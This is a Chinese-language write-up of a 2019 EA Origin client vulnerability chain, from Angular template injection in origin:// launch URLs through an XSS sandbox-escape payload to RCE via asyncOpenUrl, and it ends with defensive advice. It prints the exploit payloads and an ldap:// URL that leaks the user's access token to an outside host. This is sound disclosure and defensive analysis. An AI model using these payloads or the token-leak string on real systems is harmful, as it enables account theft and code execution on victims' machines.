EA Origin Client Vuln - 从XSS到RCE
字数 1252 2025-08-26 22:11:45
EA Origin客户端漏洞分析:从XSS到RCE
0x01 概述
本文详细分析EA Origin客户端中发现的多个安全漏洞,包括模板注入、XSS(跨站脚本)和RCE(远程代码执行)漏洞。这些漏洞由安全研究人员Hulk和Daley在2019年4月发现,影响Origin客户端的安全机制。
0x02 Origin调试方法
Origin客户端使用QtWebEngine(基于Chromium内核的浏览器框架)构建,可通过以下方法进行调试:
-
启用远程调试:
Origin.exe --remote-debugging-port=31337 -
使用Chrome DevTools连接:
- 在Chrome地址栏输入:
chrome://inspect - 打开远程设备视图
- 配置端口转发到31337端口
- 访问
localhost:31337即可调试Origin进程
- 在Chrome地址栏输入:
0x03 Origin URL处理机制
Origin使用自定义URL处理器来实现特定功能,例如启动游戏:
origin://game/launch/?offerIds=OFFERID
这种URL处理机制成为漏洞的切入点。
0x04 漏洞分析
Bug#1: 模板注入漏洞
漏洞位置:游戏启动URL的title参数
利用方式:
-
构造无效游戏ID请求:
origin://game/launch/?offerIds=0&title=zer0pwn -
测试HTML注入:
origin://game/launch/?offerIds=0&title=<h1>zer0pwn -
确认Angular模板注入:
origin://game/launch/?offerIds=0&title={{7*7}}返回结果为49,证实存在模板注入漏洞。
Bug#2: XSS漏洞
利用方式:
由于Angular的沙盒限制,需要使用特殊payload绕过:
{{a=toString().constructor.prototype;a.charAt=a.trim;$eval('a,alert(l),a')}}
此payload可实现JavaScript执行,弹出alert窗口。
Bug#3: 远程代码执行(RCE)
漏洞原理:
Origin暴露了Origin.client.desktopServices接口,其中asyncOpenUrl()函数可调用Qt的QDesktopService.OpenUrl功能。
利用方式:
Origin.client.desktopServices.asyncOpenUrl("calc.exe")
此payload可在受害者机器上执行计算器程序。
数据泄露方法:
结合LDAP协议可泄露敏感信息:
"ldap://safe.tld/o="+Origin.user.accessToken()+",c=UnderDog"
可获取的用户信息:
accessToken(): 用户访问令牌email(): 用户邮箱sessionGUID(): 会话GUIDuserGUID(): 用户GUID- 以及其他个人信息如国家、出生日期等
0x05 漏洞影响
-
攻击场景:
- 诱导用户点击特制链接
- 通过XSS窃取用户会话和敏感信息
- 执行任意系统命令
-
潜在危害:
- 完全控制用户系统
- 窃取Origin账户及关联的EA账户
- 横向移动攻击内网其他系统
0x06 防御建议
-
输入验证:
- 对所有用户输入进行严格过滤
- 特别处理Angular模板中的特殊字符
-
安全配置:
- 限制
QDesktopServices的功能 - 实现更严格的CSP策略
- 限制
-
权限控制:
- 减少暴露给客户端的API接口
- 对敏感操作增加二次验证
-
更新与补丁:
- 及时应用EA发布的安全更新
- 监控官方安全公告
0x07 总结
本案例展示了现代客户端应用程序中常见的安全问题链:
模板注入 → XSS → RCE。它强调了即使是知名厂商的软件也可能存在严重的安全隐患,以及深度防御策略的重要性。